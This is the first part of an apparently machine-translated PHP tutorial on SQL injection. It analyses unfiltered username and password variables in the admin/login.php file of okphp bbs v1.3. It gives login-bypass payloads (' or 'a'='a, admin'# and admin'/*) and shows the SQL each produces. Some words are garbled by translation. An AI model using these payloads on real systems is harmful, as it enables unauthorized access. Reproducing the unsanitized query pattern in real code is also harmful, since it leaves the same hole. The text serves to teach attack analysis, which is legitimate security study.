Detailed explanation about sql injection method (1/3)_PHP tutorial

Due to the php tutorial and mysql tutorial itself, the injection of php+mysql is more difficult than the asp tutorial, especially the construction of statements during injection. This article mainly borrows some information from okphp bbs v1.3 Let’s briefly analyze the file and talk about the construction method of php+mysql injection statement. I hope this article will be helpful to you.
Statement: All the "vulnerabilities" mentioned in the article have not been tested and may not exist at all. In fact, it does not matter whether there are loopholes. What is important is the analysis ideas and statement structure.
2. "Vulnerability" analysis:
1.admin/login.php injection leads to authentication bypass vulnerability:
Code:
​
Code

$conn=sql_connect($dbhost, $dbuser, $dbps tutorial wd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password ='$password'

Medium
$username and $password are not filtered and can be easily bypassed. (php100 Chinese website)
Methods for modifying statements such as select * from $user_table where username='$username' and password='$password' are:
Construction 1 (using logical operations): $username=' or 'a'='a $password=' or 'a'='a

Equivalent to sql statement:

select * from $user_table where username='' or 'a'='a' and password='' or 'a'='a'

Construction 2 (use the comment statement # in mysql, /* to comment out $password): $username=admin'#(or admin'/*)

That is:

select * from $user_table where username='admin'#' and password='$password'
Equivalent to:

select * from $user_table where username='admin'

The $password in the $q statement in admin/login.php is md5 encrypted before querying, so it cannot be bypassed by the statement in construction 1. Here we use construction 2:

　select id,group_id from $user_table where username='admin'#' and password='$password'"

Equivalent to:

select id,group_id from $user_table where username='admin'

1 2 3

http://www.bkjia.com/PHPjc/629723.htmlwww.bkjia.comtruehttp: //www.bkjia.com/PHPjc/629723.htmlTechArticleDue to the php tutorial and mysql tutorial itself, the injection of php+mysql is more difficult than the asp tutorial, especially the injection The construction of time statements is even more difficult. This article mainly borrows from okphp bbs v1.3...